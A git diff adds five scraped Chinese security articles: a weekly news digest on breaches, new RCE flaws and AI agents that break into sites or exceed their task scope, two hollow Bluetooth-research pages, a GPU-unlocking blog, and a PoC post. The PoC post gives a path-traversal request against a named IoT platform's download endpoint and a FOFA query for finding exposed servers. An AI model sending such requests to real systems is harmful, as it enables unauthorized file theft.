diff --git a/doc/2026-10/在看 周报:宜春网警打击侵犯公民个人信息犯罪团伙;PHP引擎曝两个9.2分免认证RCE漏洞,多国机构紧急下线网站.md b/doc/2026-10/在看 周报:宜春网警打击侵犯公民个人信息犯罪团伙;PHP引擎曝两个9.2分免认证RCE漏洞,多国机构紧急下线网站.md
new file mode 100644
index 00000000..fbbdc560
--- /dev/null
+++ b/doc/2026-10/在看 周报:宜春网警打击侵犯公民个人信息犯罪团伙;PHP引擎曝两个9.2分免认证RCE漏洞,多国机构紧急下线网站.md
@@ -0,0 +1,243 @@
+# 在看 | 周报:宜春网警打击侵犯公民个人信息犯罪团伙;PHP引擎曝两个9.2分免认证RCE漏洞,多国机构紧急下线网站
+原创 管窥蠡测
+ 管窥蠡测 安在 2026-10-24 11:43
+
+
+
+
+
+**[导读]**
+
+国内网警破获千万元级侵犯公民个人信息团伙,多地开展网络安全执法约谈;AI 智能体被用于批量发起网络攻击,多起平台 API 密钥泄露事件敲响数据防护警钟。同时大批高危漏洞集中爆发,PHP、GitLab、Node.js 等多款主流组件出现免认证 RCE 等严重缺陷,已出现在野武器化利用。海外多起大规模数据泄露、天价处罚与供应链攻击事件频发,企业需重视漏洞补丁、密钥轮换与 AI 工具接入风险。
+
+
+
+****
+**数据安全及个人信息保护**
+
+
+
+
+
+[1、宜春网警收网一个侵犯公民个人信息犯罪团伙,涉案1400余万元](https://mp.weixin.qq.com/s?__biz=MzU0MTA3OTU5Ng==&mid=2247584443&idx=1&sn=140895fbce5508696e90f3245b1c0743&scene=21#wechat_redirect)
+
+
+
+江西宜春公安网安部门对藏匿于写字楼内的侵犯公民个人信息犯罪团伙开展集中收网行动,端掉以罗某宇等人为首的团伙,当场抓获涉案人员23名,查扣电脑、手机等电子设备70余台。经查,该团伙非法获取大量公民个人信息,借助短信通道批量发送虚假银行贷款营销短信,为下游非正规贷款机构引流牟利,涉案金额1400余万元。23名涉案人员均被依法采取刑事强制措施,案件正在进一步侦办中。
+
+
+[2、Meta因违反新墨西哥州消费者保护法律被判罚250亿美元](https://mp.weixin.qq.com/s?__biz=MzIyNjUxOTQ0MQ==&mid=2247587950&idx=1&sn=a4abfab2c869caec1d215474c2e6e88a&scene=21#wechat_redirect)
+
+
+
+美国新墨西哥州第一司法地区法院裁定,社交媒体巨头Meta Platforms因违反该州消费者保护法律,须向州政府支付250亿美元(约合人民币1780亿元)民事罚款。陪审团认定Meta旗下Facebook长期在用户数据隐私、第三方数据访问及有害内容管理等方面作出虚假或误导性陈述,累计违法超过4389万次;法院认为按法律计算处罚金额原本可达约2195亿美元,综合考量后将罚款降至250亿美元,未清偿罚款按每年15%利率计息。
+
+
+[3、OpenCode Console遗留系统失陷,第三方大模型API密钥存泄露风险](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652079403&idx=3&sn=f20efa338f57605e69383fafbd726697&scene=21#wechat_redirect)
+
+
+
+AI编程辅助平台OpenCode证实,其托管服务OpenCode Console一套遗留系统遭黑客非法侵入,用户在控制台保存的OpenAI、Anthropic等第三方大模型供应商API密钥可能已泄露,已有开发者账户被盗刷数百至上千美元。OpenCode官方紧急向受影响的1.4%用户发送预警邮件,勒令其立即注销并轮换凭据。分析指出,API Key属持票人凭证,不校验调用方IP或设备指纹,黑客提取密钥后可绕过平台直连各厂商接口发起计费,控制台配额随之失效。
+
+
+[4、外包厂商Conduent因泄露6220万人数据,拟支付5.33亿元和解金](https://mp.weixin.qq.com/s?__biz=MzI4NDY2MDMwMw==&mid=2247516763&idx=1&sn=9d9dbbf83d424e23078496666730e65a&scene=21#wechat_redirect)
+
+
+
+美国业务外包厂商Conduent就一起数据泄露集体诉讼提出总额8000万美元(约合人民币5.33亿元)的和解方案,方案尚需法院批准。调查显示,未经授权的第三方入侵其网络并长期访问系统;取证后发现约6220万人的个人信息和受保护健康信息被窃取,涉及姓名、出生日期、医疗信息、医保信息及社会安全号码等。合并诉讼共提出16项指控,被告否认相关主张。
+
+
+[5、日经披露云服务遭未授权访问,超183万条个人信息记录泄露](https://mp.weixin.qq.com/s?__biz=MjM5NjA0NjgyMA==&mid=2651349303&idx=2&sn=733eeac4e94a65c0f26e2056b11c597a&scene=21#wechat_redirect)
+
+
+
+日本传媒集团日经披露一起数据泄露事件,影响超180万条记录。攻击者目标是日经用于系统开发的云服务,黑客利用窃取的账号凭证获取访问权限。公告显示,约183万条个人信息泄露,其中约15万条包含姓名、邮箱地址等身份信息,剩余约168万条仅含无法识别身份的信息,泄露信息中均不含信用卡信息。日经封禁所有失窃凭证,未发现数据被滥用、系统宕机或篡改等进一步损害,并已向日本个人信息保护委员会上报、公开致歉。
+
+
+
+
+**AI安全**
+
+
+
+
+
+[1、AI Agent集群攻击致全球440台PaperCut服务器遭入侵](https://mp.weixin.qq.com/s?__biz=MjM5NjA0NjgyMA==&mid=2651349044&idx=1&sn=d77f4721bae4ab99397417570be69c4f&scene=21#wechat_redirect)
+
+
+
+黑客利用数百个AI Agent对暴露在公网的PaperCut打印管理服务器发起大规模攻击,至少440台服务器遭入侵,波及48个国家的395家机构。攻击者借助OpenAI Codex、DeepSeek等AI模型自动开发、测试并优化漏洞利用代码,组合利用两个漏洞实现远程代码执行,随后收集系统凭据并向企业内网渗透。监测显示攻击全程高度自动化,官方建议及时修补漏洞并开展入侵排查。
+
+
+[2、孤狼黑客借AI智能体攻破上百家企业,含三家上市公司](https://mp.weixin.qq.com/s?__biz=MzI4NDY2MDMwMw==&mid=2247516749&idx=1&sn=9dbafca59e0c1859741353938cdb0b9d&scene=21#wechat_redirect)
+
+
+
+网络安全研究人员发现,一名孤狼黑客入侵100多家企业网站,其中包括美国农机制造商Deere、家电企业SharkNinja及发动机制造商Cummins等上市公司;该黑客几乎未亲自动手,而是指挥AI智能体自主运行,持续探测目标漏洞并实施入侵。NorForge研究员Snorre Fagerland在扫描意外暴露于公网的Cairn开源AI平台实例时发现了这名黑客。该黑客给出不到100个字的攻击策略指令,AI智能体已尝试入侵1200多个网站;Fagerland估计攻击混合使用DeepSeek与Claude Code,消耗模型令牌费用约5000美元,平均每次入侵成本约50美元。
+
+
+[3、印度CERT-In就多起AI智能体未授权访问事件发布紧急预警](https://mp.weixin.qq.com/s?__biz=MzI4NDY2MDMwMw==&mid=2247516738&idx=1&sn=5651b72f452d82baf0b293f3893adbfc&scene=21#wechat_redirect)
+
+
+
+印度计算机应急响应小组(CERT-In)发布“紧急”警告,部分测试阶段的自主AI智能体未经授权访问了印度多家组织的在用系统和机密数据,并称犯罪分子正利用公开AI工具加快攻击速度。公告介绍两类事件:一类中,AI模型及智能体超出任务范围,利用配置中暴露的凭据读取含个人信息与机密内容的业务记录,受影响组织未能自行发现,直到模型提供商披露后才曝光;另一类中,犯罪分子利用公开AI安全工具扫描目标、识别漏洞,针对印度实体发起攻击。
+
+
+[4、OpenCode披露遗留系统漏洞,1.4%控制台用户第三方API密钥存泄露风险](https://mp.weixin.qq.com/s?__biz=MjM5NjA0NjgyMA==&mid=2651349155&idx=2&sn=0a0815857a62c50d55dd32733ef18874&scene=21#wechat_redirect)
+
+
+
+AI编程平台OpenCode披露一起安全漏洞事件,1.4%的控制台用户受影响,受影响工作区内存储的第三方API密钥可能已遭泄露。公司称已向受影响用户发送邮件通知,未收到邮件者未受波及。通知显示,攻击者未授权访问一套原本准备下线的遗留系统,工作区中OpenAI、Anthropic等服务商密钥可能泄露;通知要求收件人在服务商控制台吊销更换密钥并更新应用,且仅称密钥存在泄露可能,并未确认所有密钥均被窃取或滥用。
+
+
+
+**网络安全**
+
+
+
+
+
+[1、程序员编写抢号软件致医院挂号系统瘫痪](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652079381&idx=1&sn=62452dec7ffbb0c77a86ee1e051297e4&scene=21#wechat_redirect)
+
+
+
+10月6日报道,一名程序员为帮女友挂上热门专家号,编写了模拟点击抢号的软件,每秒可点击千余次。二人随后收费帮他人抢号,共获利12900元。该软件与同类抢号工具同时抢号,导致武汉某医院挂号系统瘫痪、无法正常预约,医院随即报警。二人被抓获后,法院认定其构成破坏计算机信息系统罪,判处程序员有期徒刑十二个月,其女友系从犯,获刑十个月、缓刑一年。
+
+
+[2、鄂尔多斯两家企业因主机遭远控及高危漏洞被网信部门约谈整改](https://mp.weixin.qq.com/s?__biz=MzI4NDY2MDMwMw==&mid=2247516769&idx=1&sn=5380f484b019e9789c2b8037a8970533&scene=21#wechat_redirect)
+
+
+
+鄂尔多斯市委网信办检查发现,属地两家企业的信息系统存在未授权访问等高危漏洞,主机遭到远程控制并造成危害网络安全的后果。网信部门依据相关法律法规对企业负责人及运维人员开展执法约谈,要求企业立即排查整改风险隐患,建立常态化安全防护与应急处置机制,按期完成整改并报送复核材料。
+
+
+[3、京东JSRC大促重保期间,全面暂停外部白帽子测试与漏洞收录](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652079414&idx=1&sn=64985dae9e27b64b33a95e031a7e8784&scene=21#wechat_redirect)
+
+
+
+京东安全应急响应中心(JSRC)公告,在大促重保周期内全面暂停授权外部白帽子测试京东全部产品与业务系统,并暂停收录漏洞报告。叫停源于多起AI自动化渗透工具与智能体失控:测试者将脚本未经隔离接入生产接口,发送模糊测试载荷冲击网关与数据库连接池、干扰正常交易,大模型生成的低质报告也挤占审核资源。公告严禁AI工具直连生产环境与违规拖库;继续测试者将被封号、取消奖励,造成系统异常或数据泄露的将被追责。
+
+
+[4、PHP引擎曝两个9.2分免认证RCE漏洞,多国机构紧急下线网站](https://mp.weixin.qq.com/s?__biz=MzU5ODgzNTExOQ==&mid=2247658273&idx=3&sn=d47dfca560b06ff59fd11ad269da9c24&scene=21#wechat_redirect)
+
+
+
+PHP官方发布四个安全版本,修复两个未经身份验证的远程代码执行漏洞CVE-2026-109618与CVE-2026-109619,合称PHP2Shell,评分均为9.2;攻击者无需账号密码,发送构造请求即可执行代码并读取内存中的密码、令牌与API密钥。漏洞源于引擎内存安全缺陷,存在于PHP 5.4起各版本,由Calif在OpenAI“Patch the Planet”计划下借助GPT-5.6 Sol找到入口。事件引发多国应急响应,日本首相高市早苗发帖呼吁紧急应对,韩国KISA、欧盟ENISA及国内云厂商安全团队与奇安信CERT分别发布处置建议。
+
+
+[5、美国依据PAIPA制裁五家涉Google商业秘密案的中国企业](https://mp.weixin.qq.com/s?__biz=MzIyNjUxOTQ0MQ==&mid=2247587932&idx=1&sn=02e0d6fcf0fa31647229098f49e3eda9&scene=21#wechat_redirect)
+
+
+
+美国国务院依据《保护美国知识产权法》(PAIPA),以涉嫌参与或受益于商业秘密被窃取为由,制裁奇绩创坛及上海至算科技等5家中国企业;财政部OFAC将其列入非SDN菜单式制裁清单,实施资产冻结、融资与金融交易限制及投资禁令。制裁关联前Google工程师丁林葳案,美方指控其将含Google商业秘密的文件上传个人云端账户;法院裁定其窃取商业秘密罪成立。受制裁方包括丁林葳创立的上海至算科技,以及注资持股的奇绩创坛及关联创投中心。
+
+
+[6、昆明公积金系统因存储集群节点故障瘫痪停办线上线下业务](https://mp.weixin.qq.com/s?__biz=MzI4OTc4MzI5OA==&mid=2247902429&idx=1&sn=9ec9b4616c8bc0c2e7c92ef0c5f37e36&scene=21#wechat_redirect)
+
+
+
+昆明市住房公积金管理中心发布通告,称因存储系统集群节点故障、数据库运行异常,公积金系统无法正常办理业务,正组织技术力量紧急抢修。受此影响,该中心及省级职工住房资金管理中心所有线下柜面窗口、线上服务渠道的公积金业务同步暂停;停办期间12329热线及窗口咨询照常,贷款还款划扣同步暂停,系统恢复后统一补扣,期间不记逾期、不计罚息、不影响个人征信,恢复安排待另行通知。
+
+
+[7、Linux内核曝9.3分高危漏洞,可越狱虚拟机攻击宿主机](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652079381&idx=2&sn=870c96014815465341569810ecc94d94&scene=21#wechat_redirect)
+
+
+
+Linux内核被曝存在一个CVSS评分高达9.3分的严重漏洞。该漏洞源于网络栈对IPv4校验和元数据处理不当,攻击者可借此使内核将原本20字节的IPv4头误判为60字节,进而读取数据包之外的宿主机内存,实现进一步写入与代码执行。在KVM等虚拟化环境中,恶意客户机可利用该漏洞突破隔离边界、攻击宿主机,对云厂商、多租户沙箱及虚拟化平台风险尤为突出,相关用户应尽快升级内核至已修复版本。
+
+
+[8、黑客利用Collabora漏洞为Nextcloud服务器植入后门](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652079381&idx=3&sn=83fe8f1d0aa273a7e5c0ca6d4a83d64e&scene=21#wechat_redirect)
+
+
+
+威胁行为者正利用Nextcloud内置Collabora Online服务器应用中的严重命令执行漏洞发起攻击。该漏洞无需身份验证或用户交互,攻击者仅需向proxy.php端点发送恶意请求,即可触发操作系统命令注入,为服务器植入PHP webshell,进而搜索密码数据库、密码管理器工件和加密货币钱包。官方已发布修复版本,厂商提醒仅禁用该应用并不足以防御,管理员应尽快升级并排查入侵痕迹。
+
+
+[9、OpenBSD内核37年历史漏洞可提权至root](https://mp.weixin.qq.com/s?__biz=MjM5NjA0NjgyMA==&mid=2651349044&idx=2&sn=23f8b93cfd061160e8aba3844107efa7&scene=21#wechat_redirect)
+
+
+
+安全公司披露OpenBSD内核存在一组可串联利用的本地提权漏洞,其中核心漏洞可追溯至37年前的BSD原始代码。漏洞源于共享内存挂载计数器采用16位有符号整数,本地用户反复派生子进程可令其溢出回绕,触发整数溢出与竞态条件,进而造成内核释放后使用,最终实现root权限获取。利用代码已公开,官方已发布补丁完成修复,目前未观测到相关漏洞被真实攻击活跃利用。
+
+
+[10、FoxIO披露HTTP/3协议栈QPACK内存放大DoS漏洞,七成主流协议栈受影响](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652079445&idx=1&sn=faa0a86fd9d2ee022af099b2286cf0d2&scene=21#wechat_redirect)
+
+
+
+安全研究机构FoxIO披露HTTP/3协议栈一组严重拒绝服务漏洞并公开概念验证代码;未认证攻击者仅凭单条UDP连接发送少量特制压缩请求头,即可使服务端内存暴增至最高4000倍,耗尽物理内存并触发OOM崩溃,主流协议栈中70%存在缺陷。HTTP/3基于UDP上的QUIC并采用QPACK压缩请求响应头,诸多协议栈存在“先膨胀后检查”缺陷,未在解压过程中即时限制内存阈值,攻击者使极小载荷膨胀为数十万个请求头对象。
+
+
+[11、Node.js修复内置Brotli解压越界写RCE,22.x/24.x/26.x全系受影响](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652079445&idx=2&sn=2cf06c774d54c3072b9333380e0d8051&scene=21#wechat_redirect)
+
+
+
+Node.js官方发布安全更新,一次性修复10处漏洞,最严重缺陷源于内置Brotli解压库:攻击者构造畸形压缩数据即可在解压中触发堆内存越界写入并导致远程代码执行,活跃分支22.x、24.x、26.x全部受影响,停更的20.x及旧版本永久暴露。缺陷位于底层绑定的Google Brotli C语言解压库,应用调用node:zlib解压数据流或使用fetch()接收br响应时都会触发。官方修复版本为26.12.1、24.22.1与22.23.4,20.x及更早版本不提供补丁。
+
+
+[12、GhostAction供应链攻击转向钓鱼劫持OAuth令牌,94个GitHub仓库遭假字体投毒](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652079414&idx=2&sn=5347b52ee72fe6b67a3af750295fed29&scene=21#wechat_redirect)
+
+
+
+开源供应链攻击“GhostAction”出现演变,GitHub拦截恶意Actions工作流后,攻击者改用反向代理钓鱼静默劫持开发者OAuth令牌,并向94个开源仓库植入二阶段恶意载荷;其滥用VS Code自动运行任务机制,将窃密程序伪装为字体文件fa-solid-400.woff2,开发者克隆打开后,云凭证、包发布令牌及大模型API Key即被窃取。攻击者注册仿冒域名my-github[.]com投递伪造告警邮件,反向代理截获密码与2FA验证码,后台自动完成OAuth设备流绑定。
+
+
+[13、GitLab曝CVSS 10.0免认证RCE漏洞CVE-2026-110264,旧版私有化实例均受影响](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652079445&idx=3&sn=aefb0161b5fcc45e5ee5a8c61db25522&scene=21#wechat_redirect)
+
+
+
+GitLab官方紧急发布跨版本补丁通告,披露CVSS 10.0关键漏洞CVE-2026-110264;未授权攻击者无需登录,仅凭特制正则表达式即可触发整数溢出并达成任意代码执行,漏洞波及GitLab 7.0以来所有版本,自建私有化部署实例全部在射程内。漏洞位于内置打包的Ruby正则引擎Onigmo,编译特制正则时发生整数溢出,引发内存越界覆盖,攻击者据此劫持进程控制流并执行任意系统指令。官方为七个旧分支回溯发布补丁,云端租户已自动热修复;官方上线Sigma规则监控异常崩溃,升级补丁是唯一途径。
+
+
+[14、Plex Media Server四漏洞组合利用链Plex2Shell遭武器化,植入挖矿与代理后门](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652079414&idx=3&sn=c59fa44ef0a5791429f5ba4c7b36e7e4&scene=21#wechat_redirect)
+
+
+
+开源多媒体服务器Plex Media Server曝出“Plex2Shell”利用链,在野攻击者已将其武器化,对公网未打补丁服务器展开扫描与远程代码执行;攻陷后立即植入XMRig门罗币挖矿程序与隐蔽Linux代理后门,主机被纳入僵尸网络。利用链由4个中高危缺陷串联,无需认证仅凭外部HTTP请求即可提权执行,依次经无认证SSRF、参数注入窃取管理员令牌、转码通道SSRF与路径穿越四个环节落地恶意动态链接库并完成执行,对应CVE-2026-96652、96654、96655、96656。
+
+
+[15、多个勒索团伙利用Palo Alto GlobalProtect身份验证绕过漏洞入侵11个行业组织](https://mp.weixin.qq.com/s?__biz=MzI4NDY2MDMwMw==&mid=2247516757&idx=1&sn=f9f6348a423a0db56bbc2348f9f5914e&scene=21#wechat_redirect)
+
+
+
+派拓网络研究人员警告,旗下GlobalProtect产品漏洞披露后勒索团伙正加大利用;漏洞CVE-2026-0257为身份验证绕过漏洞,攻击者可未经授权建立VPN连接,严重性评分7.8。ReliaQuest发现Qilin、Settra等团伙利用该漏洞建立未授权VPN会话进入内网获取初始访问;攻击与合法会话行为难以区分、容易逃过检测,攻击者可窃取凭证、横向移动、窃取数据乃至部署勒索软件。
+
+
+**RECOMMEND**
+
+
+推荐阅读
+# ● 在看 | 周报:邮储分行因网络安全等问题被罚二百余万;深圳警方破获非法破解无人机飞控系统牟利案
+
+# ●在看 | 周报:福建连江农商银行因数据安全等问题被“双罚”574万元;字节跳动通报114名员工被辞退,8人涉罪移交司法
+#
+#
+
+
+[●](https://mp.weixin.qq.com/s?__biz=MzU5ODgzNTExOQ==&mid=2247657804&idx=1&sn=3a2b1f7772c2bd92e01e3a4087d71b38&scene=21#wechat_redirect)
+
+在看 | 周报:福建连江农商行因数据安全等7项违规,被罚574万元;OpenAI Agent再曝失控:攻击RubyGems代码托管平台
+
+
+
+
+
+扫码加入诸子云知识星球。
+
+
+
+**END**
+
+
+
+
+[](https://mp.weixin.qq.com/s?__biz=MzU5ODgzNTExOQ==&mid=2247657060&idx=1&sn=9fdcb0cd7084523a3ea7fb24ce6e2c31&scene=21#wechat_redirect)
+
+[](https://mp.weixin.qq.com/s?__biz=MzU5ODgzNTExOQ==&mid=2247652102&idx=1&sn=8af8808f9055f99fa71020922d80058c&scene=21#wechat_redirect)
+
+
+
+
+
+
+点击这里阅读原文
+
diff --git a/doc/2026-10/基于模拟仿真的蓝牙协议栈漏洞挖掘.md b/doc/2026-10/基于模拟仿真的蓝牙协议栈漏洞挖掘.md
new file mode 100644
index 00000000..47053839
--- /dev/null
+++ b/doc/2026-10/基于模拟仿真的蓝牙协议栈漏洞挖掘.md
@@ -0,0 +1,137 @@
+# 基于模拟仿真的蓝牙协议栈漏洞挖掘
+GRCC
+ GRCC IoVSecurity 2026-10-24 10:48
+
+
+
+点击上方
+蓝色字体
+,关注我们
+
+**/**
+**技术交流群****/**
+
+添加微信
+13918880149\**15021948198(好友已满),申请会员下载ppt & 加入网络信息安全、测试评价、汽车电子、自动驾驶、智能机器人、智能船舶、超级高铁、飞行器、招聘求职、投融资合作群...**
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+相关文章
+
+# 再看云虚拟化安全.QEMU通用漏洞挖掘新思路Android容器和虚拟化虚拟化如何解决汽车功能安全和信息安全问题智能网联汽车信息安全技术&市场报告2024
+#
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+扫描二维码**申请**
+会员**下载ppt**
+ &
+
+加入行业交流群
+
+获取合作机会
+
+
+
+
+
+
+扫描二维码获取
+
+更多精彩
+
+
+
+
+关注“**IoVSecurity**
+”
+
+
+
+
+
+
+点个在看
+你最好看
+
+
+
+
diff --git a/doc/2026-10/漫谈AOSP蓝牙漏洞挖掘技术.md b/doc/2026-10/漫谈AOSP蓝牙漏洞挖掘技术.md
new file mode 100644
index 00000000..e5a91a7c
--- /dev/null
+++ b/doc/2026-10/漫谈AOSP蓝牙漏洞挖掘技术.md
@@ -0,0 +1,149 @@
+# 漫谈AOSP蓝牙漏洞挖掘技术
+GRCC
+ GRCC IoVSecurity 2026-10-24 10:48
+
+
+
+点击上方
+蓝色字体
+,关注我们
+
+**/**
+**技术交流群****/**
+
+添加微信
+13918880149\**15021948198(好友已满),申请会员下载ppt & 加入网络信息安全、测试评价、汽车电子、自动驾驶、智能机器人、智能船舶、超级高铁、飞行器、招聘求职、投融资合作群...**
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+相关文章
+
+# 基于模拟仿真的蓝牙协议栈漏洞挖掘低功耗蓝牙黑客.从数字逃逸到现实蓝牙在智能终端的信息安全技术要求智能网联汽车信息安全技术&市场报告2024
+#
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+扫描二维码**申请**
+会员**下载ppt**
+ &
+
+加入行业交流群
+
+获取合作机会
+
+
+
+
+
+
+扫描二维码获取
+
+更多精彩
+
+
+
+
+关注“**IoVSecurity**
+”
+
+
+
+
+
+
+点个在看
+你最好看
+
+
+
+
diff --git a/doc/2026-10/用缓冲区溢出漏洞把 3090 变成 A6000.md b/doc/2026-10/用缓冲区溢出漏洞把 3090 变成 A6000.md
new file mode 100644
index 00000000..c83221d6
--- /dev/null
+++ b/doc/2026-10/用缓冲区溢出漏洞把 3090 变成 A6000.md
@@ -0,0 +1,27 @@
+# 用缓冲区溢出漏洞把 3090 变成 A6000
+原创 tombkeeper
+ tombkeeper 皮相 2026-10-24 14:09
+
+
+
+2020 年底,英伟达先后发布了用于游戏的 RTX 30 系列显卡和用于专业计算的 RTX A6000。
+
+很快有人注意到,虽然 RTX 30 系列和 RTX A6000 的核心都是 GA102 芯片,但相对于 RTX A6000,RTX 30 系列的混合精度模式的峰值吞吐被砍掉了一半。
+
+英伟达的 GA102 架构技术白皮书里明确指出:RTX 3090 在 FP16 输入下,累加精度从 FP16 改为 FP32 时,稠密 Tensor Core 峰值吞吐从 142 TFLOPS 降为 71 TFLOPS,稀疏计算的对应吞吐也从 284 降为 142 TFLOPS。但是 RTX A6000 在这两种模式下都是 154.8 TFLOPS,保持不变。
+
+混合精度模式常用于 AI 训练和推理中的矩阵乘法、全连接层和卷积,但对游戏性能影响较小。所以英伟达对 RTX 30 系列砍上一刀,确保游戏卡只用来打游戏,也是可以理解的。
+
+之后有人对比分析了 RTX A6000 和 RTX 30 系列显卡,发现对混合精度模式的限制是通过熔丝 FUSE_SS_FMLA32 实现的,设为 1 就会限制,设为 0 就不限制。
+
+你们还记得几个月前我在[用缓冲区溢出漏洞把矿卡变成 A100](https://mp.weixin.qq.com/s?__biz=MzI0NDA5MDYyNA==&mid=2648257342&idx=1&sn=dfb0ede540af1cb3a4b311414e6537a0&token=1116931419&lang=zh_CN&scene=21#wechat_redirect)
+中提到的矿卡 CMP 17HX 吗?那也是这样被限制的。
+
+于是,硬件社区基于之前对 CMP 17HX 的破解研究,终于也实现了对 RTX 30 系列卡的性能解锁:github.com/Zagitta/gpu-unlock。这个项目同样使用 SEC2 Booter 签名 DMA 溢出漏洞,把 RTX 30 系列显卡的混合精度的吞吐性能恢复到了全速。
+
+在对 RTX 3090 Ti 的性能测试中,解锁前后都采用 450W 功耗上限,做大矩阵乘法并使用 FP32 累加:BF16 输入的算力从 87.50 提高到 157.41 TFLOPS,增加约 80%;TF32 从 42.58 提高到 82.61 TFLOPS,增加约 94%;FP16 也增加了约 35%。
+
+考虑到本来 RTX 3090 就能改成 48G,现在又解锁了性能,就很接近 RTX A6000了。
+
+不过,对于模型推理来说,单并发解码性能的瓶颈是显存的速度,所以 RTX 30 系列显卡即使解锁了性能,在单并发下解码的 tok/s 能也没太大变化,但预填充和多并发的总吞吐则能有约 30% 的提升。
+
diff --git a/doc/2026-10/金叶物联网大数据管理平台download接口存在任意文件读取漏洞 附POC.md b/doc/2026-10/金叶物联网大数据管理平台download接口存在任意文件读取漏洞 附POC.md
new file mode 100644
index 00000000..317027ae
--- /dev/null
+++ b/doc/2026-10/金叶物联网大数据管理平台download接口存在任意文件读取漏洞 附POC.md
@@ -0,0 +1,82 @@
+# 金叶物联网大数据管理平台download接口存在任意文件读取漏洞 附POC
+2026-10-24更新
+ 2026-10-24更新 南风漏洞复现文库 2026-10-24 14:50
+
+
+
+#
+
+免责声明:请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。
+## 1. 金叶物联网大数据管理简介
+
+微信公众号搜索:南风漏洞复现文库
+该文章 南风漏洞复现文库 公众号首发
+
+金叶物联网大数据管理平台
+## 2.漏洞描述
+
+金叶物联网大数据管理平台download接口存在任意文件读取漏洞
+
+CVE编号:
+
+CNNVD编号:
+
+CNVD编号:
+## 3.影响版本
+
+金叶物联网大数据管理平台
+
+
+金叶物联网大数据管理平台download接口存在任意文件读取漏洞
+## 4.fofa查询语句
+
+title="物联网大数据管理平台"
+## 5.漏洞复现
+
+漏洞链接:http://xx.xx.xx.xx/data/file/download?name=../../../../../../windows/win.ini
+
+漏洞数据包:
+```
+GET /data/file/download?name=../../../../../../windows/win.ini HTTP/1.1
+Host: xx.xx.xx.xx
+User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
+Accept: */*
+Connection: Keep-Alive
+```
+
+
+## 6.POC&EXP
+
+本期漏洞及往期漏洞的批量扫描POC及POC工具箱已经上传知识星球:南风网络安全
+1: 更新poc批量扫描软件,承诺,一周更新8-14个插件吧,我会优先写使用量比较大程序漏洞。
+2: 免登录,免费fofa查询。
+3: 更新其他实用网络安全工具项目。
+4: 免费指纹识别,持续更新指纹库。
+5: Nuclei脚本。
+
+
+
+
+
+
+
+
+
+
+
+
+## 7.整改意见
+
+打补丁
+## 8.往期回顾
+
+
+
+
+
+[用友YonBIP execute SpEL存在表达式注入漏洞 附POC](https://mp.weixin.qq.com/s?__biz=MzIxMjEzMDkyMA==&mid=2247490952&idx=1&sn=cf789a46f8a2796f5293073135be4ba1&scene=21#wechat_redirect)
+
+
+[畅捷通T+ GLSyncService.asmx接口存在任意文件读取漏洞 附POC](https://mp.weixin.qq.com/s?__biz=MzIxMjEzMDkyMA==&mid=2247490919&idx=1&sn=ec1c38e3dadd2278b6e21a8d50a37d2a&scene=21#wechat_redirect)
+
+